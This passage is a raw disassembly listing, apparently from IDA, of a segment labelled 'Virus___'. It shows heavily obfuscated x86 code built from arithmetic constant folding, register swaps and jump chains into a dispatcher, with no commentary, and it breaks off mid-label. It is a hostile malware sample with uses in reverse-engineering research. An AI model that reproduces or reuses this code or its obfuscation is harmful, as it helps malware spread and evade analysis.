loc_58C5CE:				; CODE XREF: Virus___:0058D588j
		pop	ebx
		add	esp, 4
		jmp	loc_58C604
; ---------------------------------------------------------------------------


loc_58C5DA:				; CODE XREF: Virus___:00585186j
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		xchg	ecx, ebx
		push	ecx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	ecx
		push	ebx
		push	ecx
		mov	ebx, [esp]
		jmp	loc_59003D
; ---------------------------------------------------------------------------


loc_58C5FA:				; CODE XREF: Virus___:00581EDBj
		mov	esi, 4
		jmp	loc_57FEC7
; ---------------------------------------------------------------------------


loc_58C604:				; CODE XREF: Virus___:0058C5D5j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	4932h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_58592B
; ---------------------------------------------------------------------------


loc_58C62E:				; CODE XREF: Virus___:0059451Ej
		add	al, 40h
		mov	bh, al
		pop	eax
		mov	cl, 0E8h
		sub	cl, 0A6h
		sub	cl, bh
		add	cl, 0A6h
		pop	ebx
		add	al, 69h
		sub	al, cl
		sub	al, 69h
		jmp	loc_591FE2
; ---------------------------------------------------------------------------


loc_58C649:				; CODE XREF: Virus___:00586195j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_584256
; ---------------------------------------------------------------------------


loc_58C660:				; CODE XREF: Virus___:0058F5A7j
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C66D:				; CODE XREF: Virus___:00583801j
		xchg	ecx, [esp]
		pop	esp
		mov	edx, ebx
		pop	ebx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C679:				; CODE XREF: Virus___:0059097Cj
		inc	edi
		sub	edi, 7EA855C6h
		or	edi, 719C74DBh
		shl	edi, 6
		add	edi, 30316246h
		xor	edi, 0AFBB2756h
		or	eax, edi
		pop	edi
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		inc	eax
		push	ebp
		mov	ebp, 3CA2617Eh
		add	ebp, 0FFFFFFFFh
		shl	ebp, 6
		add	ebp, 975C2819h
		add	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58EC5A
; ---------------------------------------------------------------------------


loc_58C6BF:				; CODE XREF: Virus___:0057FF28j
		mov	ebp, [esp]
		add	esp, 4
		push	1497h
		mov	[esp], edx
		jmp	loc_5871BB
; ---------------------------------------------------------------------------


loc_58C6D2:				; CODE XREF: Virus___:0058596Bj
		add	esp, 4
		shl	ecx, 2
		push	ebx
		mov	ebx, 5EC97ADAh
		jmp	loc_58EECF
; ---------------------------------------------------------------------------


loc_58C6E3:				; CODE XREF: Virus___:0058B737j
		push	0C5Bh
		mov	[esp], eax
		push	950FCFF4h
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 260B1B70h
		add	edx, 65BA0E19h
		add	edx, eax
		sub	edx, 65BA0E19h
		add	edx, 260B1B70h
		pop	eax
		add	ebp, edx
		jmp	loc_583A06
; ---------------------------------------------------------------------------


loc_58C718:				; CODE XREF: Virus___:00583AA7j
		push	edx
		jmp	loc_583837
; ---------------------------------------------------------------------------


loc_58C71E:				; CODE XREF: Virus___:0058A5DDj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		xchg	edx, esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C73A:				; CODE XREF: Virus___:00584097j
		pop	ecx
		jmp	loc_5895A6
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_593ED8
; ---------------------------------------------------------------------------


loc_58C747:				; CODE XREF: Virus___:0059319Fj
		not	edi
		shr	edi, 3
		push	ecx
		mov	ecx, 562258E9h
		add	ecx, 0C77DAB52h
		jmp	loc_581C5F
; ---------------------------------------------------------------------------


loc_58C75D:				; CODE XREF: Virus___:005911DEj
		mov	ah, 1Dh
		inc	ah
		not	ah
		or	ah, 65h
		inc	ah
		xor	ah, 0Bh
		xor	ch, ah
		jmp	loc_5841E0
; ---------------------------------------------------------------------------


loc_58C772:				; CODE XREF: Virus___:005901B0j
		xor	cl, 0F0h
		shl	cl, 2
		neg	cl
		add	cl, 75h
		xor	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 12h
		push	6F25h
		mov	[esp], ebx
		not	byte ptr [esp]
		jmp	loc_587F1D
; ---------------------------------------------------------------------------


loc_58C798:				; CODE XREF: Virus___:00590A6Cj
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58FE3D
; ---------------------------------------------------------------------------


loc_58C7AC:				; CODE XREF: Virus___:00589F92j
		mov	esi, 8EE18B8Bh
		sub	esi, ecx
		pop	ecx
		add	edx, esi
		jmp	loc_589839
; ---------------------------------------------------------------------------


loc_58C7BB:				; CODE XREF: Virus___:00582070j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_580A44
; ---------------------------------------------------------------------------


loc_58C7D2:				; CODE XREF: Virus___:0058E6F5j
		and	ebx, 7E923625h
		add	ebx, 1C1D429Ah
		jmp	loc_584EC1
; ---------------------------------------------------------------------------


loc_58C7E3:				; CODE XREF: Virus___:0058FA3Dj
		add	ecx, 172804B1h
		xor	ecx, 17FE6D0Ch
		jmp	loc_58CD4F
; ---------------------------------------------------------------------------


loc_58C7F4:				; CODE XREF: Virus___:00581DDDj
		mov	ch, 12h
		xor	ch, bl
		pop	ebx
		jmp	loc_58B057
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 287C3955h
		inc	edi
		shl	edi, 6
		shl	edi, 4
		sub	edi, 0E0D6EBC3h
		sub	eax, edi
		jmp	loc_5825F7
; ---------------------------------------------------------------------------


loc_58C819:				; CODE XREF: Virus___:00581159j
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 7F631DA8h
		add	ecx, 23133C14h
		add	ecx, edi
		push	esi
		jmp	loc_592021
; ---------------------------------------------------------------------------


loc_58C838:				; CODE XREF: Virus___:00592948j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	49AEh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59370A
; ---------------------------------------------------------------------------


loc_58C85B:				; CODE XREF: Virus___:0058FEA8j
		mov	ebx, 4
		jmp	loc_58ACD8
; ---------------------------------------------------------------------------


loc_58C865:				; CODE XREF: Virus___:0058844Cj
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_58D8A6
; ---------------------------------------------------------------------------


loc_58C86E:				; CODE XREF: Virus___:005938DAj
		mov	edx, 114F66ABh
		xor	eax, edx
		pop	edx
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		xor	eax, 8D2DC4D5h
		jmp	loc_57F8D9
; ---------------------------------------------------------------------------


loc_58C884:				; CODE XREF: Virus___:00590141j
		mov	eax, [esp]
		jmp	loc_581595
; ---------------------------------------------------------------------------


loc_58C88C:				; CODE XREF: Virus___:00592B4Ej
		mov	edi, edx
		pop	edx
		or	edi, 49612324h
		neg	edi
		xchg	eax, edi
		jmp	loc_58B534
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_58354C
; ---------------------------------------------------------------------------


loc_58C8B3:				; CODE XREF: Virus___:0058ABA8j
		mov	ebx, eax
		jmp	loc_58D7B4
; ---------------------------------------------------------------------------


loc_58C8BA:				; CODE XREF: Virus___:0058F07Aj
		mov	edx, esp
		push	ebx
		mov	ebx, 313E1447h
		sub	ebx, 26F8652Eh
		add	ebx, 7C2D365Dh
		jmp	loc_581C6D
; ---------------------------------------------------------------------------


loc_58C8D3:				; CODE XREF: Virus___:00581E72j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_587D55
; ---------------------------------------------------------------------------


loc_58C8EA:				; CODE XREF: Virus___:0058DA59j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58ACFC
; ---------------------------------------------------------------------------


loc_58C8F3:				; CODE XREF: Virus___:00581D70j
		mov	ecx, [esp]
		jmp	loc_5927ED
; ---------------------------------------------------------------------------


loc_58C8FB:				; CODE XREF: Virus___:00592D32j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0C0h
		push	ecx
		jmp	loc_586763
; ---------------------------------------------------------------------------


loc_58C909:				; CODE XREF: Virus___:0058286Cj
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	65E2h
		jmp	loc_584FC2
; ---------------------------------------------------------------------------


loc_58C91E:				; CODE XREF: Virus___:00589D39j
		xor	al, 0A7h
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		push	cx
		mov	ch, 83h
		jmp	loc_589F0A
; ---------------------------------------------------------------------------


loc_58C931:				; CODE XREF: Virus___:0058980Cj
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_58CBE5
; ---------------------------------------------------------------------------


loc_58C944:				; CODE XREF: Virus___:0058D7A4j
		pop	esi
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_587C85
; ---------------------------------------------------------------------------


loc_58C969:				; CODE XREF: Virus___:0058010Fj
		push	esi
		jmp	loc_58DFA4
; ---------------------------------------------------------------------------


loc_58C96F:				; CODE XREF: Virus___:0058AA43j
		sub	al, 0BFh
		shr	al, 4
		xor	al, 13h
		mov	cl, al
		pop	eax
		push	bx
		mov	bh, 1Dh
		add	cl, bh
		jmp	loc_589FCE
; ---------------------------------------------------------------------------


loc_58C984:				; CODE XREF: Virus___:0058AAEBj
		sub	edi, 4C6E3863h
		pop	ebp
		push	ecx
		jmp	loc_587592
; ---------------------------------------------------------------------------


loc_58C991:				; CODE XREF: Virus___:005865ADj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 2D423CCAh
		dec	ebp
		add	ebp, 0FFFFFFFFh
		shl	ebp, 2
		xor	ebp, 0B508F324h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_585D8C
; ---------------------------------------------------------------------------


loc_58C9C3:				; CODE XREF: Virus___:00580A1Aj
		dec	edx
		not	edx
		or	edx, 3375E11h
		and	edx, 12B4872h
		neg	edx
		jmp	loc_585625
; ---------------------------------------------------------------------------


loc_58C9D9:				; CODE XREF: Virus___:0058033Dj
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5817E8
; ---------------------------------------------------------------------------


loc_58C9E5:				; CODE XREF: Virus___:0058083Aj
		pop	edi
		jmp	loc_583574
; ---------------------------------------------------------------------------


loc_58C9EB:				; CODE XREF: Virus___:00583547j
		sub	ebx, eax
		jmp	loc_58D8CF
; ---------------------------------------------------------------------------


loc_58C9F2:				; CODE XREF: Virus___:00590E1Fj
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_589155
; ---------------------------------------------------------------------------


loc_58CA02:				; CODE XREF: Virus___:0057F4C0j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5918F6
; ---------------------------------------------------------------------------


loc_58CA0D:				; CODE XREF: Virus___:00589226j
		add	ebx, 1697ABBh
		pop	ebp
		push	eax
		jmp	loc_585A52
; ---------------------------------------------------------------------------


loc_58CA1A:				; CODE XREF: Virus___:0057FC9Ej
		pop	ebx
		push	esi
		push	78596FA2h
		pop	esi
		xchg	edx, esi
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_58C304
; ---------------------------------------------------------------------------


loc_58CA2E:				; CODE XREF: Virus___:0058DA31j
		mov	dl, 63h
		push	eax
		mov	al, dl
		mov	cl, al
		pop	eax
		mov	dx, [esp]
		add	esp, 2
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_585C22
; ---------------------------------------------------------------------------


loc_58CA4F:				; CODE XREF: Virus___:00593761j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_58B8B8
; ---------------------------------------------------------------------------


loc_58CA5B:				; CODE XREF: Virus___:00592DEAj
		mov	eax, esp
		jmp	loc_58DE63
; ---------------------------------------------------------------------------


loc_58CA62:				; CODE XREF: Virus___:0058663Dj
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, dl
		jmp	loc_590317
; ---------------------------------------------------------------------------


loc_58CA74:				; CODE XREF: Virus___:00594445j
		push	edi
		jmp	loc_580561
; ---------------------------------------------------------------------------


loc_58CA7A:				; CODE XREF: Virus___:00581E56j
		pop	esp
		mov	[esp], eax
		mov	eax, 7CFE70C3h
		add	edx, 5654B87h
		jmp	loc_5835D2
; ---------------------------------------------------------------------------


loc_58CA8E:				; CODE XREF: Virus___:005841DBj
		mov	esp, [esp]
		push	ecx
		jmp	loc_587DD2
; ---------------------------------------------------------------------------


loc_58CA97:				; CODE XREF: Virus___:005850D3j
		shr	dl, 5
		push	eax
		mov	al, 0DCh
		or	al, 3Bh
		sub	al, 17h
		add	dl, al
		pop	eax
		add	dl, 95h
		jmp	loc_591C36
; ---------------------------------------------------------------------------


loc_58CAAC:				; CODE XREF: Virus___:0058E606j
		xor	ebp, 5F44A71h
		sub	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_589FC2
; ---------------------------------------------------------------------------


loc_58CABB:				; CODE XREF: Virus___:0058F915j
		pop	esp
		push	4401h
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	edx, 78B2AA1h
		add	edx, edi
		sub	edx, 78B2AA1h
		pop	edi
		push	esi
		mov	esi, 4
		add	edx, 39351CEh
		sub	edx, 62752B6Eh
		sub	edx, esi
		add	edx, 62752B6Eh
		jmp	loc_58D05C
; ---------------------------------------------------------------------------


loc_58CAFF:				; CODE XREF: Virus___:00584891j
		inc	dl
		push	eax
		mov	ah, 32h
		sub	esp, 4
		jmp	loc_57F6D9
; ---------------------------------------------------------------------------


loc_58CB0F:				; CODE XREF: Virus___:0058B1D3j
		pop	esp
		push	1A3Eh
		jmp	loc_589FA4
; ---------------------------------------------------------------------------


loc_58CB1A:				; CODE XREF: Virus___:0058F098j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58F92A
; ---------------------------------------------------------------------------


loc_58CB25:				; CODE XREF: Virus___:0058AAF9j
		push	ecx
		jmp	loc_5859A8
; ---------------------------------------------------------------------------


loc_58CB2B:				; CODE XREF: Virus___:005825C7j
		shr	edi, 4
		add	edi, 397E587Bh
		neg	edi
		add	edi, 9D214AC6h
		sub	eax, 5E0D6CB2h
		add	eax, edi
		add	eax, 5E0D6CB2h
		pop	edi
		add	eax, 2D8B28E5h
		push	4986h
		jmp	loc_58BA58
; ---------------------------------------------------------------------------


loc_58CB58:				; CODE XREF: Virus___:00581C08j
		dec	ecx
		jmp	loc_586733
; ---------------------------------------------------------------------------


loc_58CB5E:				; CODE XREF: Virus___:0059365Cj
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58B58D
; ---------------------------------------------------------------------------


loc_58CB6D:				; CODE XREF: Virus___:00584217j
		xchg	ebp, [esp]
		jmp	loc_58E84F
; ---------------------------------------------------------------------------


loc_58CB75:				; CODE XREF: Virus___:00580C5Aj
		add	eax, 2F1B438Fh
		inc	eax
		shr	eax, 2
		sub	eax, 375F326Bh
		mov	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5814BA
; ---------------------------------------------------------------------------


loc_58CB94:				; CODE XREF: Virus___:00590562j
		pop	esp
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_580735
; ---------------------------------------------------------------------------


loc_58CBA7:				; CODE XREF: Virus___:005801A7j
		shl	bh, 7
		sub	bh, 90h
		jmp	loc_581FCD
; ---------------------------------------------------------------------------


loc_58CBB2:				; CODE XREF: Virus___:0058425Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 739B487Eh
		xor	ecx, 3E03AB9h
		xor	ecx, 707B72C7h
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_592B15
; ---------------------------------------------------------------------------


loc_58CBE5:				; CODE XREF: Virus___:0058C93Fj
		mov	eax, 5B305840h
		push	74E9h
		mov	[esp], edi
		mov	edi, 48C126A0h
		xor	edi, 25054039h
		sub	edi, 0C8F4BED5h
		jmp	loc_58290A
; ---------------------------------------------------------------------------


loc_58CC08:				; CODE XREF: Virus___:00581A5Fj
		push	ecx
		push	esi
		mov	esi, 432A4615h
		and	esi, 15567C12h
		sub	esi, 902AE862h
		mov	ecx, esi
		pop	esi
		xor	edx, ecx
		jmp	loc_5846DD
; ---------------------------------------------------------------------------


loc_58CC25:				; CODE XREF: Virus___:0058E44Ej
		mov	ebp, 28204C9Ch
		jmp	loc_58D5CB
; ---------------------------------------------------------------------------


loc_58CC2F:				; CODE XREF: Virus___:0058DC06j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ecx
		push	3618h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59337D
; ---------------------------------------------------------------------------


loc_58CC5B:				; CODE XREF: Virus___:0058E792j
		not	edx
		xor	edx, 75F25CD3h
		jmp	loc_5848DF
; ---------------------------------------------------------------------------


loc_58CC68:				; CODE XREF: Virus___:005842CBj
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2905207Dh
		shr	edx, 8
		inc	edx
		and	edx, 70856F5Ah
		xor	edx, 26F431FBh
		add	edi, edx
		pop	edx
		add	edi, ecx
		sub	edi, 26F534FBh
		sub	edi, 4CE67812h
		jmp	loc_5865F2
; ---------------------------------------------------------------------------


loc_58CCA5:				; CODE XREF: Virus___:00583240j
		add	eax, 4
		jmp	loc_58401A
; ---------------------------------------------------------------------------


loc_58CCAF:				; CODE XREF: Virus___:0058EA3Cj
		pop	esp
		jmp	loc_59155B
; ---------------------------------------------------------------------------


loc_58CCB5:				; CODE XREF: Virus___:005808C7j
		pop	ebx
		add	[esp+4], esi
		add	dword ptr [esp+4], 4FDB268Dh
		jmp	loc_58CF1D
; ---------------------------------------------------------------------------


loc_58CCC7:				; CODE XREF: Virus___:00583527j
		shr	si, 1
		add	si, 0F929h
		mov	cx, si
		pop	esi
		jmp	loc_5852AF
; ---------------------------------------------------------------------------


loc_58CCD8:				; CODE XREF: Virus___:0058047Ej
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5873DF
; ---------------------------------------------------------------------------


loc_58CCF5:				; CODE XREF: Virus___:0058E4A2j
		or	[edi+1Ch], ecx
		jmp	loc_58F59C
; ---------------------------------------------------------------------------


loc_58CCFD:				; CODE XREF: Virus___:0058BC1Fj
		pop	ebp
		add	dword ptr [esp+4], 7E8942DAh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 7E8942DAh
		push	dword ptr [esp]
		jmp	loc_5858CC
; ---------------------------------------------------------------------------


loc_58CD1A:				; CODE XREF: Virus___:0059269Ej
		pop	eax
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58D2B7
; ---------------------------------------------------------------------------


loc_58CD27:				; CODE XREF: Virus___:005823ECj
		pop	ebx
		jmp	loc_588F6F
; ---------------------------------------------------------------------------


loc_58CD2D:				; CODE XREF: Virus___:005904BEj
		sub	edx, ebx
		pop	ebx
		xor	edx, ecx
		jmp	loc_588811
; ---------------------------------------------------------------------------


loc_58CD37:				; CODE XREF: Virus___:005840B3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_590D40
; ---------------------------------------------------------------------------


loc_58CD4A:				; CODE XREF: Virus___:00592B97j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58CD4F:				; CODE XREF: Virus___:0058C7EFj
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, 7A265D1Ch
		add	esi, edx
		push	ebp
		mov	ebp, 7A265D1Ch
		sub	esi, ebp
		pop	ebp
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5937DE
; ---------------------------------------------------------------------------


loc_58CD7B:				; CODE XREF: Virus___:00592157j
		pop	eax
		jmp	loc_592C25
; ---------------------------------------------------------------------------


loc_58CD81:				; CODE XREF: Virus___:0058B038j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edx
		push	edi
		jmp	loc_591CA3
; ---------------------------------------------------------------------------


loc_58CD95:				; CODE XREF: Virus___:00589F99j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_591C45
; ---------------------------------------------------------------------------


loc_58CDA8:				; CODE XREF: Virus___:00587953j
		add	eax, 7BEB4955h
		sub	eax, 0FB3DF2Bh
		add	edi, eax
		pop	eax
		add	edi, ecx
		push	eax
		mov	eax, 6D830AE1h
		sub	edi, eax
		jmp	loc_5843B5
; ---------------------------------------------------------------------------


loc_58CDC4:				; CODE XREF: Virus___:0058F1FFj
		mov	eax, 0BF2A3BF4h
		jmp	loc_58EFB1
; ---------------------------------------------------------------------------


loc_58CDCE:				; CODE XREF: Virus___:00593014j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_583C86
; ---------------------------------------------------------------------------


loc_58CDE8:				; CODE XREF: Virus___:00589302j
		pop	eax
		push	ebx
		push	eax
		push	ecx
		mov	ecx, 38F77145h
		mov	eax, 322808B3h
		add	eax, ecx
		pop	ecx
		shl	eax, 8
		push	edi
		mov	edi, 26B75B3Bh
		jmp	loc_5877B2
; ---------------------------------------------------------------------------


loc_58CE07:				; CODE XREF: Virus___:0058333Cj
		push	ebp
		mov	ebp, 3728634Dh
		jmp	loc_583A2A
; ---------------------------------------------------------------------------


loc_58CE12:				; CODE XREF: Virus___:0058D195j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57FE4B
; ---------------------------------------------------------------------------


loc_58CE1E:				; CODE XREF: Virus___:005919E5j
		push	5579h
		mov	[esp], ebx
		jmp	loc_583018
; ---------------------------------------------------------------------------


loc_58CE2B:				; CODE XREF: Virus___:00588673j
		push	edx
		jmp	loc_589F72
; ---------------------------------------------------------------------------


loc_58CE31:				; CODE XREF: Virus___:0058390Ej
		add	esp, 4
		jmp	loc_58D315
; ---------------------------------------------------------------------------


loc_58CE3C:				; CODE XREF: Virus___:0058D3EFj
		mov	ebp, 16132CF8h
		push	eax
		mov	eax, 48433A38h
		jmp	loc_590E29
; ---------------------------------------------------------------------------


loc_58CE4C:				; CODE XREF: Virus___:0058B181j
		mov	ecx, esp
		push	eax
		push	edi
		mov	edi, 4
		push	edi
		pop	eax
		pop	edi
		add	ecx, eax
		pop	eax
		push	edx
		jmp	loc_591B4E
; ---------------------------------------------------------------------------


loc_58CE61:				; CODE XREF: Virus___:0058BEF6j
		push	eax
		mov	eax, 451A490Ch
		sub	esi, eax
		pop	eax
		add	esi, edx
		push	edi
		mov	edi, 6334416Dh
		sub	edi, 330671EDh
		add	edi, 0FFFFFFFFh
		add	edi, 41C919F2h
		jmp	loc_58267A
; ---------------------------------------------------------------------------


loc_58CE86:				; CODE XREF: Virus___:0058D2ECj
		mov	esp, [esp]
		jmp	loc_5830C1
; ---------------------------------------------------------------------------


loc_58CE8E:				; CODE XREF: Virus___:005814D7j
		mov	ecx, 4D515B9Bh
		add	ecx, 3D204DECh
		jmp	loc_58A8FB
; ---------------------------------------------------------------------------


loc_58CE9E:				; CODE XREF: Virus___:00587594j
		mov	ebp, ecx
		jmp	loc_58508A
; ---------------------------------------------------------------------------


loc_58CEA5:				; CODE XREF: Virus___:005874A0j
		push	eax
		mov	eax, 75224AE5h
		sub	edi, eax
		jmp	loc_582BD3
; ---------------------------------------------------------------------------


loc_58CEB2:				; CODE XREF: Virus___:0058E76Dj
		push	edi
		mov	edi, esp
		jmp	loc_581C54
; ---------------------------------------------------------------------------


loc_58CEBA:				; CODE XREF: Virus___:00586D3Bj
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_587844
; ---------------------------------------------------------------------------


loc_58CECC:				; CODE XREF: Virus___:005803A4j
		xor	ch, 0DBh
		sub	dh, ch
		pop	ecx
		jmp	loc_58D2F1
; ---------------------------------------------------------------------------


loc_58CED7:				; CODE XREF: Virus___:0058088Aj
		pop	edx
		jmp	loc_58D421
; ---------------------------------------------------------------------------


loc_58CEDD:				; CODE XREF: Virus___:005906D4j
		add	eax, 4C17C417h
		jmp	loc_58712D
; ---------------------------------------------------------------------------


loc_58CEE7:				; CODE XREF: Virus___:0058A104j
		add	esp, 4
		jmp	loc_58472B
; ---------------------------------------------------------------------------


loc_58CEEF:				; CODE XREF: Virus___:0057FC27j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	485A43A8h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_586CB2
; ---------------------------------------------------------------------------


loc_58CF0C:				; CODE XREF: Virus___:00589B95j
		pop	edx
		jmp	loc_582C0F
; ---------------------------------------------------------------------------


loc_58CF12:				; CODE XREF: Virus___:00582D53j
		add	ecx, 4
		jmp	loc_582971
; ---------------------------------------------------------------------------


loc_58CF1D:				; CODE XREF: Virus___:0058CCC2j
		pop	esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5865E2
; ---------------------------------------------------------------------------


loc_58CF2C:				; CODE XREF: Virus___:005823D8j
		sub	ecx, 0CD163E9h
		add	ecx, ebx
		push	eax
		mov	eax, 0CD163E9h
		add	ecx, eax
		pop	eax
		jmp	loc_583BC2
; ---------------------------------------------------------------------------


loc_58CF42:				; CODE XREF: Virus___:0058662Bj
		mov	ecx, [esp]
		push	eax
		jmp	loc_58A839
; ---------------------------------------------------------------------------


loc_58CF4B:				; CODE XREF: Virus___:00592D3Aj
		and	ebp, 226C464Bh
		add	ebp, 60597618h
		sub	ebx, ebp
		pop	ebp
		pop	eax
		add	ebx, 1
		add	ebx, 1E9D69BEh
		jmp	loc_585E56
; ---------------------------------------------------------------------------


loc_58CF69:				; CODE XREF: Virus___:00590DAFj
		pop	esp
		jmp	loc_5887F6
; ---------------------------------------------------------------------------


loc_58CF6F:				; CODE XREF: Virus___:0058DEC1j
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58CF7A:				; CODE XREF: Virus___:0058E0FDj
		push	dword ptr [esp]
		jmp	loc_58658F
; ---------------------------------------------------------------------------


loc_58CF82:				; CODE XREF: Virus___:005874B7j
		sub	eax, 54282D2Dh
		neg	eax
		add	eax, 8026650Bh
		add	ebp, eax
		pop	eax
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58CFA4:				; CODE XREF: Virus___:0058B6C1j
		push	eax
		mov	eax, 42820615h
		sub	esi, eax
		jmp	loc_587C7D
; ---------------------------------------------------------------------------


loc_58CFB1:				; CODE XREF: Virus___:00593CE0j
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_59371F
; ---------------------------------------------------------------------------


loc_58CFBA:				; CODE XREF: Virus___:005881DFj
		pop	eax
		jmp	loc_585EB1
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_583987
; ---------------------------------------------------------------------------


loc_58CFCB:				; CODE XREF: Virus___:00585318j
		push	small 473Dh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58CFDF:				; CODE XREF: Virus___:0058161Cj
		mov	edx, 0B051E18Ch
		sub	ebp, edx
		pop	edx
		sub	ebx, 8D1569Fh
		jmp	loc_58D7DC
; ---------------------------------------------------------------------------


loc_58CFF2:				; CODE XREF: Virus___:005940CCj
		push	edx
		pop	eax
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		jmp	loc_582575
; ---------------------------------------------------------------------------


loc_58D00F:				; CODE XREF: Virus___:0057F590j
		pop	esp
		jmp	loc_580A2C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_580D54
; ---------------------------------------------------------------------------


loc_58D01D:				; CODE XREF: Virus___:0058A740j
